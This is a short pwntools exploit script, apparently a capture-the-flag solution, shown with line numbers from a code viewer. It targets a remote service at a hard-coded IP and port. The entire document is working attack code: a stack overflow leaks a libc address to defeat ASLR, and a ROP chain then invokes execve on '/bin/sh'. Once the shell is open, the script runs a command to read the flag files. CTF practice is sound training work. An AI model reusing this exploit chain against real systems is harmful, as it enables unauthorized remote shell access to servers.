1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67
| from pwn import * import warnings
context.arch = 'amd64' warnings.filterwarnings("ignore", category=BytesWarning)
r= remote('140.116.246.190',8789)
l = ELF("libc.so.6")
ret = 0x40101a detmclone = 0x4010d0 mov_rdi_rax = 0x4011c5
bss = 0x404100
p = flat( b'a'*0x20, bss, ret, detmclone, mov_rdi_rax )
r.sendlineafter(b'2024?',p)
log.info("stdout -> %s" % hex(l.symbols['stdout'])) l.address = u64(r.recv(6).ljust(8,b'\0')) - 0x21A780
success("base address -> %s" % hex(l.address))
pop_rdi = l.address + 0x2a3e5 pop_rsi = l.address + 0x2be51 pop_rax = l.address + 0x45eb0 pop_rdx_rbx = l.address + 0x90529 syscall = l.address + 0x29db4 sh = l.address + 0x1D8698
log.info("sh: %s" % hex(sh))
p2 = flat( b'a'*0x28, pop_rdi, sh, pop_rax, 0x3b, pop_rsi, 0x0, pop_rdx_rbx, 0x0,0x0, ret, syscall )
r.sendline(p2)
r.sendline(b'cat /home/$(whoami)/flag*')
r.interactive()
|